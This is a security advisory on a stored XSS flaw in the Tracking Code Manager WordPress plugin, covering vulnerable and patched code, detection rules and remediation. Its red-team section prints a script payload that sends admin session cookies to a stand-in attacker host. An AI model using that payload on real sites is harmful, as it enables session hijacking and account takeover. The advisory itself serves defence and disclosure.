CVE-2024-6335

Executive Summary

CVE-2024-6335 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tracking Code Manager WordPress plugin (versions before 2.3.0). This flaw allows high-privilege users, such as administrators, to inject arbitrary JavaScript into plugin settings. The injected script is stored and executed when the settings page is viewed, even in multisite configurations where the unfiltered_html capability is disallowed. This vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is not a core dependency but is commonly used for managing tracking scripts (e.g., Google Analytics, Facebook Pixel). Users should verify the integrity of the plugin update by checking the plugin’s changelog and checksums provided by WordPress.org.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Admin)
• User Interaction: Required (Admin viewing settings)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but in multisite environments, a site administrator can compromise the entire network’s settings page.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s settings page where tracking code snippets (e.g., JavaScript, HTML) are stored. The plugin fails to sanitize and escape these inputs before saving them to the database and rendering them back in the admin panel. An attacker with admin privileges can inject malicious JavaScript into fields such as "Header Code" or "Footer Code."

Attack Flow:

1. An admin user navigates to the Tracking Code Manager settings page.
2. The attacker (or compromised admin) inserts a payload like <script>alert('XSS')</script> into a tracking code field.
3. The plugin stores the payload without sanitization.
4. When any admin (including the attacker) views the settings page, the payload executes in the context of the WordPress admin dashboard.
5. The attacker can steal session cookies, perform actions on behalf of other admins, or deface the admin interface.

WordPress Multisite Impact: In multisite setups, the unfiltered_html capability is typically disabled for site administrators. However, this plugin does not respect that restriction, allowing site admins to inject XSS that affects the network admin panel.

Vulnerable vs. Patched Code

Vulnerable Code (version < 2.3.0):

// In settings page rendering
echo '<textarea name="tracking_code">' . get_option('tracking_code') . '</textarea>';

The get_option() value is output directly without escaping.

Patched Code (version 2.3.0):

// In settings page rendering
echo '<textarea name="tracking_code">' . esc_textarea( get_option('tracking_code') ) . '</textarea>';

The esc_textarea() function escapes the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: Admin access to a WordPress site running Tracking Code Manager < 2.3.0.
2. Payload Injection:
   • Navigate to Settings > Tracking Code Manager.
   • In the "Header Code" field, inject:

     <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
     

   • Save the settings.
3. Trigger: Any admin viewing the settings page will execute the payload.
4. Impact: Session hijacking, admin account takeover, or further privilege escalation.

Blue Team (Detection & Hardening)

1. Prevention:
   • Update to version 2.3.0 or later.
   • Restrict admin access to trusted users only.
   • Use a Web Application Firewall (WAF) to block XSS payloads in admin panels.
2. Detection:
   • Monitor for unexpected changes to the tracking_code_manager option in the database.
   • Look for admin users with recent modifications to plugin settings.
3. Hunting:
   • Search for <script> tags in the wp_options table where option_name like %tracking_code%.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/tracking-code-manager/ (version < 2.3.0)
• Database Entry: wp_options table with option_name containing tracking_code_manager and option_value containing <script> tags.
• Network: Outbound HTTP requests to unknown domains from the WordPress admin panel.
• Logs: WordPress admin activity log showing changes to Tracking Code Manager settings by non-privileged users.

Detection Engineering

YARA Rule

rule CVE_2024_6335_Tracking_Code_Manager_XSS {
    meta:
        description = "Detects stored XSS payloads in Tracking Code Manager plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-6335"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_option = "tracking_code_manager"
    condition:
        $plugin_option and $xss_payload
}

Sigma Rule

title: Stored XSS in Tracking Code Manager Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in the Tracking Code Manager plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        option_name|contains: "tracking_code_manager"
        option_value|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in tracking codes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-6335 - Stored XSS in Tracking Code Manager"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options.php"; http_uri; content:"tracking_code_manager"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade the Tracking Code Manager plugin to version 2.3.0 or later.
2. Workaround: If immediate upgrade is not possible, disable the plugin and use alternative methods for tracking code injection (e.g., theme functions.php with proper escaping).
3. Hardening:
   • Enforce the principle of least privilege for WordPress admin users.
   • In multisite, audit site administrators for unauthorized plugin modifications.
   • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
4. Monitoring: Continuously monitor WordPress admin activity logs for suspicious changes to plugin settings.

Report generated by Valters IT DevSecOps & CTI Division